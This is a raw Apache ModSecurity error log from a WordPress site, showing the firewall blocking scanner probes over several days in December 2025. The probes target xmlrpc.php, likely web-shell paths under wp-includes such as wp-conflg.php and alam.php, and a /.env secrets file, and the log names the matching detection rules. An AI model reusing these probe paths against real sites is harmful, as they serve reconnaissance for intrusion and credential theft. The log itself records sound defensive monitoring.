[Sun Dec 14 20:44:59.871415 2025] [:error] [pid 41600:tid 41613] [client 201.93.218.16:59019] [client 201.93.218.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.93.218.16, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aT6xS9FLTBZjcwNd_VsdpQAAAQo"]
[Sun Dec 14 20:44:59.882959 2025] [proxy_fcgi:error] [pid 41600:tid 41613] [client 201.93.218.16:59019] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 20:45:42.458784 2025] [:error] [pid 40596:tid 40646] [client 177.10.226.31:7106] [client 177.10.226.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.10.226.31, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aT6xdmvZZo4N2X7WoLyagQAAAdQ"]
[Sun Dec 14 20:45:42.473701 2025] [proxy_fcgi:error] [pid 40596:tid 40646] [client 177.10.226.31:7106] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 20:46:44.361466 2025] [:error] [pid 40561:tid 40585] [client 117.242.149.43:57155] [client 117.242.149.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.242.149.43, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aT6xtIY6r869zoqRQkTdPQAAAVQ"]
[Sun Dec 14 20:46:44.375007 2025] [proxy_fcgi:error] [pid 40561:tid 40585] [client 117.242.149.43:57155] AH01071: Got error 'Primary script unknown'
[Mon Dec 15 05:32:16.361521 2025] [:error] [pid 9882:tid 9901] [client 74.225.204.92:64901] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aT8s4HNmFf4TNOnZQ07LdgAAARE"], referer: https://www.google.co.uk/
[Mon Dec 15 05:32:16.635626 2025] [:error] [pid 35020:tid 35053] [client 74.225.204.92:65017] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aT8s4CBMuWbtFfQIRIbrJgAAAEM"], referer: https://duckduckgo.com/
[Mon Dec 15 05:32:16.913746 2025] [:error] [pid 35019:tid 35040] [client 74.225.204.92:63126] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aT8s4K2LAdKSfjdLIKKMLgAAABE"], referer: https://www.bing.com/
[Mon Dec 15 05:32:17.354173 2025] [:error] [pid 35021:tid 35079] [client 74.225.204.92:62544] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aT8s4S9sSwxVqtYnS1uPxwAAAII"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:17.628685 2025] [:error] [pid 35019:tid 35045] [client 74.225.204.92:63193] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aT8s4a2LAdKSfjdLIKKMNAAAABY"], referer: https://www.bing.com/
[Mon Dec 15 05:32:17.913001 2025] [:error] [pid 35104:tid 35123] [client 74.225.204.92:64967] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aT8s4aWpPfWnBdEuPp49kQAAANA"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:18.195309 2025] [:error] [pid 9882:tid 9892] [client 74.225.204.92:62495] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aT8s4nNmFf4TNOnZQ07LeAAAAQg"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:20.105824 2025] [:error] [pid 9882:tid 9884] [client 74.225.204.92:63108] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aT8s5HNmFf4TNOnZQ07LewAAAQA"], referer: https://www.google.co.uk/
[Mon Dec 15 05:32:20.381046 2025] [:error] [pid 35019:tid 35044] [client 74.225.204.92:63197] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aT8s5K2LAdKSfjdLIKKMOwAAABU"], referer: https://www.google.co.uk/
[Mon Dec 15 05:32:20.654987 2025] [:error] [pid 35019:tid 35030] [client 74.225.204.92:63120] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aT8s5K2LAdKSfjdLIKKMPQAAAAc"], referer: https://www.google.de/
[Mon Dec 15 05:32:21.068314 2025] [:error] [pid 35019:tid 35047] [client 74.225.204.92:65022] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aT8s5a2LAdKSfjdLIKKMPwAAABg"], referer: https://www.google.com/
[Mon Dec 15 05:32:21.343686 2025] [:error] [pid 35019:tid 35042] [client 74.225.204.92:64923] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aT8s5a2LAdKSfjdLIKKMQwAAABM"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:21.617407 2025] [:error] [pid 35019:tid 35044] [client 74.225.204.92:62591] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aT8s5a2LAdKSfjdLIKKMRgAAABU"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:21.898209 2025] [:error] [pid 9882:tid 9902] [client 74.225.204.92:62546] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aT8s5XNmFf4TNOnZQ07LfAAAARI"], referer: https://www.bing.com/
[Mon Dec 15 05:32:22.170485 2025] [:error] [pid 35019:tid 35039] [client 74.225.204.92:63137] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/development/index.php"] [unique_id "aT8s5q2LAdKSfjdLIKKMSgAAABA"], referer: https://www.google.co.uk/
[Mon Dec 15 05:32:22.445519 2025] [:error] [pid 35021:tid 35097] [client 74.225.204.92:65013] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aT8s5i9sSwxVqtYnS1uPzwAAAJQ"], referer: https://duckduckgo.com/
[Mon Dec 15 05:32:25.116875 2025] [:error] [pid 35104:tid 35125] [client 74.225.204.92:63215] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aT8s6aWpPfWnBdEuPp49pwAAANI"], referer: https://www.bing.com/
[Mon Dec 15 05:32:25.530728 2025] [:error] [pid 35019:tid 35044] [client 74.225.204.92:62556] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aT8s6a2LAdKSfjdLIKKMVAAAABU"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:26.223153 2025] [:error] [pid 35020:tid 35050] [client 74.225.204.92:62548] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aT8s6iBMuWbtFfQIRIbrLQAAAEA"], referer: https://www.google.fr/
[Mon Dec 15 05:32:27.337841 2025] [:error] [pid 35019:tid 35036] [client 74.225.204.92:63136] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aT8s662LAdKSfjdLIKKMXwAAAA0"], referer: https://www.google.com/
[Mon Dec 15 05:32:27.610893 2025] [:error] [pid 35020:tid 35072] [client 74.225.204.92:63204] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aT8s6yBMuWbtFfQIRIbrLgAAAFY"], referer: https://www.google.fr/
[Mon Dec 15 05:32:28.028494 2025] [:error] [pid 35020:tid 35060] [client 74.225.204.92:63110] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aT8s7CBMuWbtFfQIRIbrMAAAAEo"], referer: https://duckduckgo.com/
[Mon Dec 15 05:32:28.729711 2025] [:error] [pid 35020:tid 35057] [client 74.225.204.92:62576] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aT8s7CBMuWbtFfQIRIbrNgAAAEc"], referer: https://duckduckgo.com/
[Mon Dec 15 05:32:29.285148 2025] [:error] [pid 35021:tid 35093] [client 74.225.204.92:61662] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aT8s7S9sSwxVqtYnS1uP1QAAAJA"], referer: https://www.google.com/
[Mon Dec 15 05:32:29.705702 2025] [:error] [pid 35104:tid 35114] [client 74.225.204.92:65021] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aT8s7aWpPfWnBdEuPp49qQAAAMc"], referer: https://www.yahoo.com/
[Mon Dec 15 05:32:32.124471 2025] [:error] [pid 35104:tid 35119] [client 74.225.204.92:62589] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aT8s8KWpPfWnBdEuPp49ugAAAMw"], referer: https://duckduckgo.com/
[Mon Dec 15 05:32:32.822850 2025] [:error] [pid 35020:tid 35051] [client 74.225.204.92:64916] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aT8s8CBMuWbtFfQIRIbrPQAAAEE"], referer: https://www.google.de/
[Mon Dec 15 05:32:33.526049 2025] [:error] [pid 35019:tid 35041] [client 74.225.204.92:62580] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/jcrop.php"] [unique_id "aT8s8a2LAdKSfjdLIKKMcwAAABI"], referer: https://www.google.de/
[Mon Dec 15 05:32:35.086301 2025] [:error] [pid 35019:tid 35045] [client 74.225.204.92:63175] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aT8s862LAdKSfjdLIKKMfgAAABY"], referer: https://www.bing.com/
[Mon Dec 15 05:32:35.509517 2025] [:error] [pid 35104:tid 35118] [client 74.225.204.92:62536] [client 74.225.204.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aT8s86WpPfWnBdEuPp49vQAAAMs"], referer: https://www.bing.com/
[Tue Dec 16 18:58:23.041337 2025] [:error] [pid 18408:tid 18410] [client 192.140.152.132:60287] [client 192.140.152.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.140.152.132, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUE7Tzi2Gr8pDzjrVBAQCAAAAMA"]
[Tue Dec 16 18:58:23.056176 2025] [proxy_fcgi:error] [pid 18408:tid 18410] [client 192.140.152.132:60287] AH01071: Got error 'Primary script unknown'
[Tue Dec 16 18:59:23.087876 2025] [:error] [pid 51991:tid 51994] [client 49.36.97.210:54657] [client 49.36.97.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.97.210, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUE7i67zKCVJSuwV1xacvwAAAQE"]
[Tue Dec 16 18:59:23.099735 2025] [proxy_fcgi:error] [pid 51991:tid 51994] [client 49.36.97.210:54657] AH01071: Got error 'Primary script unknown'
[Tue Dec 16 18:59:28.221014 2025] [:error] [pid 53940:tid 53966] [client 102.213.248.26:64760] [client 102.213.248.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.213.248.26, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUE7kF91PNbcXLVkpR7l6wAAAdc"]
[Tue Dec 16 18:59:28.227186 2025] [proxy_fcgi:error] [pid 53940:tid 53966] [client 102.213.248.26:64760] AH01071: Got error 'Primary script unknown'
[Wed Dec 17 13:37:43.677274 2025] [:error] [pid 45530:tid 45546] [client 51.83.2.220:58715] [client 51.83.2.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.2.220, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUJBp24IsXcKlf7LWf9YnQAAAAs"]
[Wed Dec 17 13:37:43.690214 2025] [proxy_fcgi:error] [pid 45530:tid 45546] [client 51.83.2.220:58715] AH01071: Got error 'Primary script unknown'
[Wed Dec 17 13:37:46.149752 2025] [:error] [pid 45530:tid 45559] [client 51.83.2.220:58715] [client 51.83.2.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aUJBqm4IsXcKlf7LWf9YqgAAABg"]
[Wed Dec 17 13:37:46.687567 2025] [:error] [pid 45530:tid 45537] [client 51.83.2.220:62378] [client 51.83.2.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aUJBqm4IsXcKlf7LWf9YrQAAAAI"]
[Wed Dec 17 13:37:47.224410 2025] [:error] [pid 45530:tid 45554] [client 51.83.2.220:62988] [client 51.83.2.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aUJBq24IsXcKlf7LWf9YsAAAABM"]
[Wed Dec 17 13:37:47.759238 2025] [:error] [pid 45621:tid 45632] [client 51.83.2.220:63482] [client 51.83.2.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aUJBq-VNGQfJ1rR90pTLcwAAAMY"]
[Wed Dec 17 19:03:39.614486 2025] [:error] [pid 45532:tid 45600] [client 165.22.31.165:61551] [client 165.22.31.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aUKOCweWB-JXOyTKNs05hgAAAIo"]
[Wed Dec 17 21:41:34.528213 2025] [:error] [pid 16861:tid 16906] [client 34.105.63.134:54195] [client 34.105.63.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.105.63.134, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUKzDlmas3wxi8EVIZrPuAAAApM"]
[Wed Dec 17 21:41:34.539688 2025] [proxy_fcgi:error] [pid 16861:tid 16906] [client 34.105.63.134:54195] AH01071: Got error 'Primary script unknown'
[Wed Dec 17 21:41:36.829677 2025] [:error] [pid 16861:tid 16899] [client 34.105.63.134:54195] [client 34.105.63.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aUKzEFmas3wxi8EVIZrPxQAAAow"]
[Wed Dec 17 21:41:37.310385 2025] [:error] [pid 16577:tid 16608] [client 34.105.63.134:53643] [client 34.105.63.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aUKzEeOuBdGpNNQaNL5C1gAAAVQ"]
[Wed Dec 17 21:41:37.711732 2025] [:error] [pid 16746:tid 16772] [client 34.105.63.134:54372] [client 34.105.63.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aUKzEY-UihQezEh5cyPEcAAAAhI"]
[Wed Dec 17 21:41:38.097747 2025] [:error] [pid 16666:tid 16678] [client 34.105.63.134:54458] [client 34.105.63.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aUKzElAThvYvBwbndYIC7AAAAYk"]
[Wed Dec 17 21:41:38.477087 2025] [:error] [pid 16666:tid 16685] [client 34.105.63.134:50849] [client 34.105.63.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aUKzElAThvYvBwbndYIC7QAAAZA"]
[Wed Dec 17 21:41:38.835077 2025] [:error] [pid 16861:tid 16898] [client 34.105.63.134:55178] [client 34.105.63.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aUKzElmas3wxi8EVIZrPyAAAAos"]
